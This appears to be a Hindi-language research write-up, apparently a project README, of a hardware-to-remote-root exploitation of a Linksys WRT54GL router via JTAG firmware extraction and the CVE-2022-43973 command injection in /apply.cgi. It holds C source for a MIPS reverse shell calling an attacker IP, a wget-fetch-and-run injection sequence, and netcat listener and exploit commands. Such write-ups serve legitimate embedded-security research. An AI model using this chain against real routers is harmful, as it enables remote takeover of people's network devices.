सोल्डर से शेल तक: Linksys WRT54GL राउटर का पूर्ण हार्डवेयर शोषण (CVE-2022-43973)

एक 10-चरणीय एंबेडेड सुरक्षा अनुसंधान यात्रा — JTAG पिन खोज से लेकर MIPS-आधारित उपभोक्ता राउटर पर दूरस्थ कोड निष्पादन तक।


लेखक	उम्बर्टो डेला मोनिका
भूमिका	एमएससी साइबर सुरक्षा छात्र — एंबेडेड सुरक्षा शोधकर्ता
तिथि	मई 2026
भंडार	Linksys-WRT54GL-Exploitation

अस्वीकरण: यह शोध केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए उस हार्डवेयर पर किया गया था जो मेरा व्यक्तिगत है। किसी भी अनधिकृत प्रणाली तक पहुँच नहीं बनाई गई। यहाँ वर्णित सभी तकनीकों को केवल उन उपकरणों पर पुन: प्रस्तुत किया जाना चाहिए जो आपके स्वामित्व में हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। लेखक प्रस्तुत जानकारी के किसी भी दुरुपयोग के लिए कोई दायित्व नहीं लेता है। हमेशा लागू कानूनों, विनियमों और जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें।

विषयसूची

कार्यकारी सारांश
लक्ष्य उपकरण अवलोकन
चरण 1–2: हार्डवेयर टोही और पिन खोज
चरण 3–4: JTAG डीबगिंग और फर्मवेयर निष्कर्षण
चरण 5–6: फर्मवेयर विश्लेषण और अनुकरण
चरण 7: भेद्यता अनुसंधान — CVE-2022-43973
चरण 8: पेलोड विकास — MIPS रिवर्स शेल
चरण 9: शोषण वितरण और रूट शेल
चरण 10: नेटवर्क और सत्र विश्लेषण
उपकरण और प्रौद्योगिकियाँ
मुख्य निष्कर्ष
संदर्भ
विस्तृत दस्तावेज़ीकरण
लाइसेंस

कार्यकारी सारांश

लक्ष्य: Linksys WRT54GL v1.1 — ब्रॉडकॉम BCM5352 चिपसेट (MIPS 32-बिट आर्किटेक्चर) पर आधारित व्यापक रूप से तैनात उपभोक्ता राउटर
भेद्यता: CVE-2022-43973 — HTTP प्रबंधन इंटरफ़ेस में कमांड इंजेक्शन के माध्यम से दूरस्थ कोड निष्पादन
दायरा: 10 चरणों तक फैली पूर्ण हार्डवेयर-से-सॉफ़्टवेयर शोषण श्रृंखला, भौतिक JTAG पहुँच से लेकर दूरस्थ रूट शेल तक
परिणाम: एक कस्टम MIPS रिवर्स शेल पेलोड के माध्यम से पूर्ण दूरस्थ रूट शेल प्राप्त हुआ
उपकरण: JTAGulator, Attify Badge, OpenOCD, Ghidra, binwalk, FirmAE, ब्रॉडकॉम MIPS क्रॉस-कम्पाइलेशन टूलचेन के साथ Docker

Linksys WRT54GL v1.1

लक्ष्य उपकरण अवलोकन

Linksys WRT54GL अब तक उत्पादित सबसे प्रतिष्ठित उपभोक्ता राउटरों में से एक है। इसका ओपन-सोर्स फर्मवेयर समर्थन इसे उत्साही और शोधकर्ताओं के बीच समान रूप से पसंदीदा बनाता है। अपनी उम्र के बावजूद, यह दुनिया भर में सक्रिय उपयोग में बना हुआ है, जो इसे एंबेडेड सुरक्षा अनुसंधान के लिए एक प्रासंगिक लक्ष्य बनाता है।

आंतरिक आर्किटेक्चर

चरण 1–2: हार्डवेयर टोही और पिन खोज

किसी भी हार्डवेयर सुरक्षा मूल्यांकन में पहला कदम भौतिक निरीक्षण है। डिवाइस आवरण खोलने के बाद, मैंने PCB पर दो डीबग इंटरफ़ेस की पहचान की:

हार्डवेयर-स्तरीय डीबगिंग के लिए एक 12-पिन JTAG हेडर (अनपॉपुलेटेड)
3.3V TTL स्तरों पर संचालित एक 10-पिन सीरियल (UART) पोर्ट

चूंकि JTAG हेडर अनपॉपुलेटेड था, मैंने डीबग इंटरफ़ेस तक पहुँचने के लिए एक अस्थायी पिन हेडर सोल्डर किया। मल्टीमीटर का उपयोग करके, मैंने ग्राउंड और Vcc लाइनों की पहचान की और पुष्टि की कि लक्ष्य 3.3V लॉजिक स्तरों पर संचालित होता है — चिपसेट को नुकसान से बचाने के लिए यह महत्वपूर्ण है।

JTAGulator के साथ JTAG पिन खोज

JTAG सिग्नलों का मानचित्रण करने के लिए, मैंने JTAGulator (ग्रैंड आइडिया स्टूडियो द्वारा) का उपयोग किया — एक हार्डवेयर उपकरण जो सभी संभावित पिन संयोजनों की जांच करके स्वचालित रूप से डीबग इंटरफ़ेस की पहचान करता है।

JTAGulator ने निम्नलिखित JTAG पिनआउट को सफलतापूर्वक पहचाना:

board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
  TCK: PA3
  TMS: PA4
  TDI: PA1
  TDO: PA2
  TRST: NC
  SRST: PB0
notes: "Header JP3 — verified 3.3V logic."

JTAG पोर्ट क्लोज़-अप

JTAGulator पिन खोज

भौतिक कनेक्शन: Linksys से JTAGulator

चरण 3–4: JTAG डीबगिंग और फर्मवेयर निष्कर्षण

JTAG पिन की पहचान होने के बाद, मैंने एक Attify Badge — एक ओपन-सोर्स हार्डवेयर सुरक्षा मूल्यांकन उपकरण (GNU GPL v3.0) जिसमें FTDI FT2232H चिप है — को राउटर के JTAG हेडर से जोड़ा।

मैंने BCM5352 लक्ष्य के लिए अनुकूलित एक कस्टम कॉन्फ़िगरेशन के साथ OpenOCD (ओपन ऑन-चिप डीबगर) लॉन्च किया, क्योंकि आधिकारिक कॉन्फ़िगरेशन इस विशिष्ट हार्डवेयर संशोधन के साथ असंगत थे।

फ्लैश मेमोरी लेआउट

कस्टम OpenOCD कॉन्फ़िगरेशन राउटर के फ्लैश विभाजन लेआउट को परिभाषित करता है:

फर्मवेयर डंप

CPU को रोकने के बाद, मैंने मेमोरी-मैप्ड NOR फ्लैश का एक पूर्ण 4 MB डंप किया:

> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000

Attify Badge

OpenOCD फर्मवेयर निष्कर्षण

चरण 5–6: फर्मवेयर विश्लेषण और अनुकरण

binwalk के साथ स्थैतिक विश्लेषण

binwalk का उपयोग करके, मैंने एम्बेडेड फाइलसिस्टम, संपीड़ित खंडों और कर्नेल छवि की पहचान करने के लिए फर्मवेयर डंप का विश्लेषण किया:

binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin    # एन्ट्रॉपी विश्लेषण
sha256sum ./dumps/wrt54gl.bin     # अखंडता सत्यापन

विश्लेषण से एक SquashFS रूट फाइलसिस्टम का पता चला जिसमें एक मानक BusyBox-आधारित लिनक्स वातावरण था। गहन निरीक्षण के लिए मैंने binwalk -e और unsquashfs का उपयोग करके इसे निकाला।

FirmAE के साथ फर्मवेयर अनुकरण

एक सुरक्षित परीक्षण वातावरण बनाने के लिए, मैंने FirmAE — एक स्वचालित फर्मवेयर अनुकरण ढाँचा जो MIPS आर्किटेक्चर का समर्थन करता है — का उपयोग करके फर्मवेयर अनुकरण स्थापित किया। इसने मुझे एक आभासी वातावरण में राउटर की सेवाओं (HTTP, telnet) को पुन: उत्पन्न करने और भौतिक उपकरण को जोखिम में डाले बिना शोषण का परीक्षण करने की अनुमति दी।

binwalk फर्मवेयर विश्लेषण

FirmAE अनुकरण

चरण 7: भेद्यता अनुसंधान — CVE-2022-43973

MIPS डीकम्पाइलर प्लगइन के साथ Ghidra (NSA के रिवर्स इंजीनियरिंग ढाँचे) का उपयोग करके, मैंने CVE-2022-43973 की उपस्थिति की पुष्टि करने के लिए निकाले गए फर्मवेयर बाइनरी पर स्थैतिक विश्लेषण किया।

भेद्यता विवरण

यह भेद्यता राउटर के CGI अनुरोध हैंडलर में मौजूद है। /apply.cgi एंडपॉइंट में ui_language फॉर्म फ़ील्ड बिना स्वच्छता के मनमाना इनपुट स्वीकार करता है। ;cmd; सिंटैक्स में लिपटे शेल कमांड को इंजेक्ट करके, एक हमलावर ऐसे कमांड को स्टेज कर सकता है जो बाद में /upgrade.cgi के माध्यम से फर्मवेयर अपग्रेड होने पर निष्पादित हो जाते हैं।

प्रभावित फर्मवेयर संस्करण:

v4.30.18 (नवीनतम) — सत्र-आधारित प्रमाणीकरण की आवश्यकता है
v4.30.16 (पुराना) — केवल HTTP बेसिक प्रमाणीकरण का उपयोग करता है

Ghidra में CVE-2022-43973 की पुष्टि

चरण 8: पेलोड विकास — MIPS रिवर्स शेल

मैंने C में एक कस्टम रिवर्स शेल विकसित किया, जो विशेष रूप से राउटर के MIPS आर्किटेक्चर के लिए डिज़ाइन किया गया था। पेलोड हमलावर के लिए एक TCP कनेक्शन स्थापित करता है, सभी मानक फ़ाइल डिस्क्रिप्टर को सॉकेट पर रीडायरेक्ट करता है, और एक इंटरैक्टिव शेल स्पॉन करता है:

sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);

connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));

dup2(sockt, 0);   // stdin रीडायरेक्ट
dup2(sockt, 1);   // stdout रीडायरेक्ट
dup2(sockt, 2);   // stderr रीडायरेक्ट

execve("/bin/sh", sh_argv, NULL);

Docker के साथ क्रॉस-कम्पाइलेशन

लक्ष्य आर्किटेक्चर के लिए पेलोड को संकलित करने के लिए, मैंने एक पुनरुत्पादनीय Docker वातावरण बनाया जिसमें ब्रॉडकॉम MIPS क्रॉस-कम्पाइलेशन टूलचेन (hndtools-mipsel-linux-3.2.3) शामिल था, जो आधिकारिक Linksys GPL रिलीज़ (WRT54GL-ETSI_v4.30.18.006) से प्राप्त हुआ:

docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest

# कंटेनर के अंदर:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c

परिणामी बाइनरी पोर्टेबिलिटी के लिए स्थिर रूप से लिंक की गई है — लक्ष्य पर कोई साझा लाइब्रेरी निर्भरता नहीं।

शोषण का निर्माण

चरण 9: शोषण वितरण और रूट शेल

मैंने एक Python शोषण ढाँचा विकसित किया जो CVE-2022-43973 का लाभ उठाकर पूरे हमले की श्रृंखला को स्वचालित करता है। शोषण 4-चरणीय अनुक्रम निष्पादित करता है, प्रत्येक को ui_language पैरामीटर के माध्यम से एक कमांड के रूप में इंजेक्ट किया जाता है:

हमला अनुक्रम

पेलोड अपलोड करें — राउटर पर /tmp/X पर MIPS रिवर्स शेल बाइनरी डाउनलोड करने के लिए wget कमांड इंजेक्ट करें
अनुमतियाँ सेट करें — बाइनरी को निष्पादन योग्य बनाने के लिए chmod +x /tmp/X इंजेक्ट करें
पेलोड निष्पादित करें — रिवर्स शेल लॉन्च करने के लिए /tmp/X <attacker_ip> <port> इंजेक्ट करें
सफाई करें — ui_language को उसके डिफ़ॉल्ट मान (en) पर रीसेट करें

प्रत्येक कमांड को ui_language फ़ील्ड में ;cmd; के रूप में लपेटा जाता है और POST /apply.cgi के माध्यम से भेजा जाता है। एक बाद का POST /upgrade.cgi निष्पादन को ट्रिगर करता है।

निष्पादन

हमलावर की मशीन पर, तीन टर्मिनलों की आवश्यकता होती है:

# टर्मिनल 1: रिवर्स शेल बाइनरी सर्व करें
python -m http.server 8000

# टर्मिनल 2: आने वाले रिवर्स शेल को सुनें
nc -lvnp 4141

# टर्मिनल 3: शोषण लॉन्च करें
python exploit.py --host 192.168.1.1 --username admin --password admin \
  --attacker-host 192.168.1.2 --attacker-http-port 8000 \
  --attacker-handler-port 4141

परिणाम: रूट शेल

रिवर्स शेल हमलावर के Netcat सुनने वाले से वापस जुड़ता है, जो राउटर पर एक इंटरैक्टिव रूट शेल प्रदान करता है।

रिवर्स शेल अपलोड करना

शोषण निष्पादन

रूट शेल पहुँच

चरण 10: नेटवर्क और सत्र विश्लेषण

पूर्ण शोषण श्रृंखला को मान्य करने के लिए, मैंने हमले के दौरान Wireshark के साथ नेटवर्क ट्रैफ़िक कैप्चर किया। विश्लेषण ने पुष्टि की:

/apply.cgi और /upgrade.cgi में सही HTTP POST इंजेक्शन अनुक्रम
हमलावर के HTTP सर्वर से wget के माध्यम से सफल पेलोड डाउनलोड
पोर्ट 4141 पर स्थापित रिवर्स शेल TCP कनेक्शन
सत्र कुकी और प्रमाणीकरण प्रवाह अखंडता

उपकरण और प्रौद्योगिकियाँ

मुख्य निष्कर्ष

भौतिक पहुँच एक शक्तिशाली हमला वेक्टर है। JTAG रूट-स्तरीय हार्डवेयर पहुँच प्रदान करता है जो सभी सॉफ्टवेयर सुरक्षा तंत्रों को बायपास करता है। एंबेडेड उपकरणों को तैनात करने वाले संगठनों को भौतिक सुरक्षा नियंत्रणों पर विचार करना चाहिए और उत्पादन फर्मवेयर में डीबग इंटरफ़ेस को अक्षम करना चाहिए।
फर्मवेयर निष्कर्षण मौलिक है। फर्मवेयर को डंप और विश्लेषण करने से पूरा सॉफ्टवेयर स्टैक सामने आता है — जिसमें हार्डकोडेड क्रेडेंशियल्स, कॉन्फ़िगरेशन डेटा और कमजोर कोड पथ शामिल हैं जो केवल-नेटवर्क परिप्रेक्ष्य से अदृश्य होते हैं।
अनुकरण सुरक्षित, दोहराने योग्य अनुसंधान को सक्षम बनाता है। FirmAE जैसे उपकरण शोधकर्ताओं को आभासी वातावरण में डिवाइस व्यवहार को पुन: उत्पन्न करने की अनुमति देते हैं, जिससे भौतिक हार्डवेयर को जोखिम में डाले बिना या अनपेक्षित परिणामों को ट्रिगर किए बिना पुनरावृत्त परीक्षण संभव होता है।
सरल इनपुट सत्यापन विफलताओं का गंभीर प्रभाव होता है। CVE-2022-43973 दर्शाता है कि वेब इंटरफ़ेस में एक भी अस्वच्छित फॉर्म फ़ील्ड रूट-स्तरीय पहुँच के साथ पूर्ण डिवाइस समझौता कैसे कर सकता है। गहराई में रक्षा — इनपुट सत्यापन, न्यूनतम विशेषाधिकार, और सुरक्षित कोडिंग प्रथाएँ — आवश्यक बनी हुई है।
पुनरुत्पादनीय टूलचेन मायने रखते हैं। Docker-आधारित क्रॉस-कम्पाइलेशन वातावरण यह सुनिश्चित करते हैं कि पेलोड और उपकरणों को विश्वसनीय रूप से पुनर्निर्मित किया जा सके, जिससे अनुसंधान परिणाम सत्यापन योग्य और साझा करने योग्य बनते हैं।
पुराने उपकरण निरंतर जोखिम का प्रतिनिधित्व करते हैं। WRT54GL वैश्विक रूप से सक्रिय उपयोग में बना हुआ है। जीवन के अंत के उपकरण जो अब सुरक्षा अद्यतन प्राप्त नहीं करते हैं, नेटवर्क सुरक्षा के लिए एक निरंतर खतरा पैदा करते हैं।

संदर्भ

भेद्यता

CVE-2022-43973 — NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-43973
CVE-2022-43973 — MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43973

हार्डवेयर उपकरण

Attify Badge — https://docs.attify.com/ (GNU GPL v3.0)
JTAGulator — ग्रैंड आइडिया स्टूडियो: https://github.com/grandideastudio/jtagulator
JTAG मानक — IEEE 1149.1 (मानक परीक्षण पहुँच पोर्ट और बाउंड्री-स्कैन आर्किटेक्चर)

सॉफ्टवेयर उपकरण

OpenOCD — https://openocd.org/
Ghidra — https://ghidra-sre.org/
FirmAE — https://github.com/pr0v3rbs/FirmAE
Firmadyne — https://github.com/firmadyne/firmadyne
binwalk — https://github.com/ReFirmLabs/binwalk

विक्रेता

Linksys WRT54GL फर्मवेयर — https://www.linksys.com/us/support-article?articleNum=148648
Linksys GPL टूलचेन — https://www.linksys.com/us/support-article?articleNum=114663

विस्तृत दस्तावेज़ीकरण

गहन तकनीकी विवरण के लिए, निम्नलिखित दस्तावेज़ देखें:

दस्तावेज़	विवरण
हार्डवेयर सूची	डिवाइस विशिष्टताएँ, पिनआउट, डेटाशीट, और हार्डवेयर उपकरण

लाइसेंस

यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है — विवरण के लिए LICENSE फ़ाइल देखें।

यदि Attify या JTAGulator स्कीमैटिक्स को पुन: प्रस्तुत कर रहे हैं, तो उनके संबंधित लाइसेंस (Attify घटकों के लिए GNU GPL v3.0) का पालन करें।

उम्बर्टो डेला मोनिका
LinkedIn

#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec

चिपसेट	ब्रॉडकॉम BCM5352
CPU क्लॉक	200 MHz
आर्किटेक्चर	MIPS 32-बिट (लिटिल एंडियन)
फ्लैश मेमोरी	4 MB NOR (मेमोरी-मैप्ड `0xbfc00000` पर)
RAM	16 MB
वायरलेस	IEEE 802.11b/g, 54 Mbps
नेटवर्क	4x LAN + 1x WAN, SPI के साथ NAT फ़ायरवॉल
OS	लिनक्स-आधारित (BusyBox)
बूटलोडर	CFE (सामान्य फर्मवेयर वातावरण)

CFE	बूटलोडर	`0xbfc00000`	256 KB
फर्मवेयर	कर्नेल + रूट FS	`0xbfc40000`	~3.7 MB
NVRAM	कॉन्फ़िगरेशन	`0xbfff0000`	64 KB

CVE ID	CVE-2022-43973
प्रकार	दूरस्थ कोड निष्पादन (RCE)
हमला वेक्टर	प्रमाणित HTTP अनुरोध
मूल कारण	अस्वच्छित `ui_language` पैरामीटर के माध्यम से कमांड इंजेक्शन
एंडपॉइंट	`POST /apply.cgi`
ट्रिगर	`POST /upgrade.cgi` (फर्मवेयर अपग्रेड)
प्रभाव	पूर्ण रूट-स्तरीय कमांड निष्पादन

हार्डवेयर	Attify Badge	JTAG/UART इंटरफ़ेस एडाप्टर	docs.attify.com (GNU GPL v3.0)
हार्डवेयर	JTAGulator	स्वचालित डीबग पिन खोज	Grand Idea Studio
सॉफ्टवेयर	OpenOCD	JTAG डीबगिंग और फ्लैश एक्सेस	openocd.org
सॉफ्टवेयर	Ghidra	स्थैतिक विश्लेषण और डीकम्पाइलेशन	ghidra-sre.org (NSA)
सॉफ्टवेयर	binwalk	फर्मवेयर विश्लेषण और निष्कर्षण	ReFirmLabs
सॉफ्टवेयर	FirmAE	फर्मवेयर अनुकरण (MIPS)	GitHub
सॉफ्टवेयर	Firmadyne	फर्मवेयर गतिशील विश्लेषण	GitHub
सॉफ्टवेयर	Docker	पुनरुत्पादनीय निर्माण वातावरण	docker.com
टूलचेन	hndtools-mipsel-linux	ब्रॉडकॉम MIPS क्रॉस-कम्पाइलर	Linksys GPL रिलीज़
सॉफ्टवेयर	Python 3	शोषण स्वचालन ढाँचा	python.org
सॉफ्टवेयर	Wireshark	नेटवर्क ट्रैफ़िक विश्लेषण	wireshark.org
मानक	IEEE 1149.1	JTAG बाउंड्री-स्कैन मानक	IEEE

सबसे लोकप्रिय

Linksys-WRT54GL-Exploitation